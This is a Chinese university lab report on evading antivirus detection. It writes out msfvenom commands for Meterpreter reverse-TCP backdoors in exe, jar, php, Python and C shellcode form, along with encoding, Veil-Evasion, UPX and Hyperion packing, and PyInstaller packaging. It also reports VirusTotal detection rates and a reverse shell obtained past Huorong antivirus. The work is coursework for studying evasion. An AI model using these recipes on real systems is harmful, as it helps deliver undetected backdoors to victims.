当前位置: 首页 > news >正文

20232420 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

  • 学会使用msf编码器,veil-evasion,利用shellcode编程,加壳等免杀工具或技巧。

  • 尝试实现恶意代码免杀。

  • 理解免杀机制和原理,认识到杀软局限性。

2.实验过程

2.1 免杀效果参考基准

2.1.1 免杀效果的评价

用VirusTotal评价免杀效果。

2.1.2 参考基准

  • kali虚拟机上,msfvenom直接生成meterpreter可执行文件20232420backdoor.exe。指令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor.exe
    屏幕截图 2025-10-27 084417

  • 对该文件用VirusTotal检出率为47/70,即用70不同的反病毒引擎对文件进行扫描,其中有47个判断文件是恶意的。以此作为后续免杀效果的参考基准。
    屏幕截图 2025-10-27 092559

2.2 不同格式文件及Msfvenom使用编码器

2.2.1 exe文件和编码的exe文件

  • 使用msfvenom自带的编码器对后门文件进行编码,这里采用编码格式x86/shikata_ga_nai,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded.exe。检出率为43/71,没什么效果。
    屏幕截图 2025-10-27 090515
    屏幕截图 2025-10-27 092720

  • 用参数-i设置编码次数为10次,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded10.exe。检出率为42/71,可见这种免杀方式效果不明显。
    屏幕截图 2025-10-27 092301
    屏幕截图 2025-10-27 092956

2.2.2 jar文件和编码的jar文件

  • 使用msfvenom改为生成jar文件,指令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.jar。检出率为35/64,有明显提升。
    屏幕截图 2025-10-27 093410
    屏幕截图 2025-10-27 094056

  • 对jar文件进行10次编码msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.jar。检出率仍为35/64,可见改为jar文件能使后门文件更不容易被检测出来,而编码依旧没用。
    屏幕截图 2025-10-27 093713
    屏幕截图 2025-10-27 094953

2.2.3 php文件和编码的php文件

  • 改为生成php文件,指令为msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.php。检出率为25/62,有明显免杀作用。
    屏幕截图 2025-10-27 100059
    屏幕截图 2025-10-27 100259

  • 将php文件编码10次,指令为msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.php,检出率为9/62,这一次编码后免杀效果明显,这是由于反病毒引擎对php文件的检测更依赖静态代码特征匹配,而多次编码后,静态特征被加密和混淆,引擎难以直接识别。
    屏幕截图 2025-10-27 100105
    屏幕截图 2025-10-27 100432

2.3 使用免杀平台Veil-Evasion

  • 安装好veil,进入操作界面,可以看到两个选项Evasion和Ordnance,Evasion用于生成免杀恶意payload,Ordnance用于生成辅助攻击工具或组件,这里use 1
    屏幕截图 2025-10-27 140123
    屏幕截图 2025-10-27 140215

  • 输入list,查看可以使用的Payloads。
    屏幕截图 2025-10-27 140250

  • 这里use 7,即使用c语言的c/meterpreter/rev_tcp,配置好信息,生成可执行文件。
    屏幕截图 2025-10-27 140410

set LHOST 192.168.190.128 #回连IP
set LPORT 2420 #回连端口                                   
generate
20232420payload #可执行文件名

屏幕截图 2025-10-27 140603

  • 在指定路径/var/lib/veil/output/compiled/找到生成的可执行文件。
    屏幕截图 2025-10-27 140749

  • 测试生成的可执行文件,检出率为36/71,说明veil有一定的免杀能力。
    图片

2.4 C语言调用Shellcode

  • 通过命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f c,得到C语言格式下的一个shellcode。
    屏幕截图 2025-10-27 142833

  • 将这段shellcode写入一个C语言程序当中,内容如下:
    屏幕截图 2025-10-27 143410
    屏幕截图 2025-10-27 143143

  • 通过命令i686-w64-mingw32-g++ 20232420_c_shellcode.c -o 20232420_c_shellcode.exe将其编译成可执行文件。
    屏幕截图 2025-10-27 143417

  • 测试生成的可执行文件,检出率为39/72,说明C语言调用Shellcode有一定的免杀能力。
    屏幕截图 2025-10-27 143508

2.5 加壳

2.5.1 压缩壳UPX

  • 通过命令upx 20232420_c_shellcode.exe -o 20232420_c_shellcode_upx.exe,给刚才的shellcode加一个UPX压缩壳。
    屏幕截图 2025-10-27 144224

  • 测试生成的可执行文件,检出率为42/71,加了壳,免杀效果反而变差了。
    屏幕截图 2025-10-27 144937

2.5.2 加密壳Hyperion

  • 输入命令cp 20232420_c_shellcode.exe /usr/share/windows-resources/hyperion/,将可执行文件20232420_c_shellcode.exe复制到Hyperion所在的目录中。
    输入命令cd /usr/share/windows-resources/hyperion/,将工作目录切换为Hyperion所在的目录。
    输入命令wine hyperion.exe -v 20232420_c_shellcode.exe 20232420_c_shellcode_hyp.exe,生成新的可执行文件20232420_c_shellcode_hyp.exe。
    屏幕截图 2025-10-27 145928
    屏幕截图 2025-10-27 150536
    屏幕截图 2025-10-27 150552

  • 测试生成的可执行文件,检出率为51/71,免杀效果也变差了。推测是因为这些加壳工具本身已经被高度警惕,加壳文件会直接被视为高风险文件。
    屏幕截图 2025-10-27 150916

2.6 通过组合使用msfvenom工具与封装技术尝试实现恶意代码免杀

  • 输入指令msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f raw > 20232420_python_shellcode.py,生成python格式的后门文件。
    屏幕截图 2025-10-27 171553

  • 将其复制到windows主机,在终端中输入指令pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232420_python_shellcode.py,将包含shellcode的python脚本打包为单文件.exe,运行时不显示控制台窗口,指定getpass、code、platform、shlex四个python标准库模块,利用打包工具的封装性隐藏原始代码的静态特征。
    屏幕截图 2025-10-27 165809
    屏幕截图 2025-10-27 165833

  • 用火绒查杀,没有发现该文件。推测是因为PyInstaller生成的.exe在很多场景下被视为“正常工具”,火绒可能对其执行的代码采取更宽松的检测策略。
    屏幕截图 2025-10-27 183749

  • 测试生成的可执行文件,检出率为17/72,免杀效果还是比较理想的。
    屏幕截图 2025-10-27 173039

  • 在火绒打开的情况下,尝试回连获取shell,成功。(注意参数是set payload python/meterpreter/reverse_tcp
    屏幕截图 2025-10-27 170135
    屏幕截图 2025-10-27 174945

3.问题及解决方案

  • 问题1:使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差。

  • 问题1解决方案:原因可能在于反病毒引擎对“加壳文件”的态度是“宁错杀不放过”,这些加壳工具本身已被反病毒引擎深度标记,只要检测到,默认标记为高风险。

  • 问题2:能执行.exe,却无法建立meterpreter会话。

  • 问题2解决方案: 参数一开始用的是set payload windows/meterpreter/reverse_tcp,应该改为set payload python/meterpreter/reverse_tcp。

4.问题回答

(1)杀软是如何检测出恶意代码的?

  • 主要是通过两个方面来检查,一是静态特征匹配,看是否具有已知恶意代码的特征;二是动态行为分析,检测软件是否作出任何可疑行为,如建立不正常的连接、修改系统配置等。

(2)免杀是做什么?

  • 免杀是指通过技术手段修改或隐藏恶意代码的特征与行为,使其看起来像正常程序,能够绕过杀软的检测与拦截,在目标系统中正常执行恶意功能。

(3)免杀的基本方法有哪些?

  • 目前看到的免杀方法基本都是对抗静态特征匹配,利用编码、压缩壳、加密壳、冗余代码插入等方式破坏静态特征,从而避免被杀软检测出来;还可以行为模拟正常程序,将恶意操作伪装成合法行为,如将建立不正常的连接模拟成浏览器访问。

5.学习感悟

本次实验中尝试了msfvenom编码器通过编码破坏静态特征,使用Veil-Evasion通过模板生成免杀payload,C语言调用Shellcode以及加壳,理解了静态免杀的核心是破坏杀软的特征码匹配,而动态免杀的关键是规避行为分析。过程中还发现了使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差这一现象,这说明了免杀最重要的是隐蔽和伪装,用的手段越多,反而可能让恶意软件更显眼,效果反而更差。了解了免杀的工具和技术,也就能学会如何反制,然而对恶意软件的检测往往有滞后性,要认识到杀软的局限性,在生活中更要在社会工程学方面提高对于恶意软件防范能力。

参考资料

《0x23_MAL_免杀原理与实践.md》

http://icebutterfly214.com/news/352/

相关文章:

  • 10.27及动手动脑
  • go包装bing搜索
  • 鼾声识别芯片方案和睡眠产品的应用场景
  • 2025年工程管理软件公司综合推荐榜:助力建筑行业数字化升级
  • Excel高性能异步导出完整方案!
  • 2025年多功能综合杆厂家排名前十推荐
  • 2025年度在线网站客服系统综合排行榜正式发布
  • JDD Oxygen智能零售论坛 | 《大模型时代的广告营销变革与实践》
  • 2025年市面上新加坡留学品牌、行业内公司及口碑产品推荐排行
  • 11-文件上传
  • TensorFlow与PyTorch深度对比分析:从基础原理到实战选择的完整指南 - 指南
  • Navicat 17 超详细保姆级下载安装教程:附激活工具使用步骤​
  • el-date-picker样式修改
  • 浅谈 Agent 开发工具链演进历程
  • 电梯调度算法结对编程作业
  • 2025质量可靠的义乌刺绣工厂推荐榜
  • DP1312多协议高性能读卡芯片支持A/B/Felaca/18092智能门锁读卡器模拟卡兼容PN512 - 动能世纪
  • 2025年10月兰花油品牌推荐榜单:多维度深度对比与选择指南
  • 2025 年1KV 冷缩硅橡胶电缆附件,冷热缩电缆附件,绕包电缆附件,熔接电缆附件厂家最新推荐,产能、专利、环保三维数据透视
  • 低代码开发便捷的技术深度解析
  • 2025年浅拾兰花双萃致臻精华油:从成分与科技维度解析其护肤功效
  • 销售公司绩效考核全攻略:维度、原则与数字化赋能方案
  • 题解:P4434 [COCI 2017/2018 #2] ​​Usmjeri
  • 小程序-跳转到公众号
  • 如何解决一堆向量的问题?10、Self-attention - -一叶知秋
  • 洞悉过往,一目了然:浅述视频融合平台EasyCVR如何实现海量视频录像的智能检索与高效回看
  • 2025年国内外五款AI编程工具深入对比与推荐排行
  • CSPS 前后的话
  • 2025 年 10 月云仓 ERP,云仓 saas 系统,云仓代发系统公司最新推荐,技术实力与市场口碑深度解析
  • iOS混淆实战用多工具组合把IPA加固做成可复用的工程能力(iOS混淆 IPA加固 无源码混淆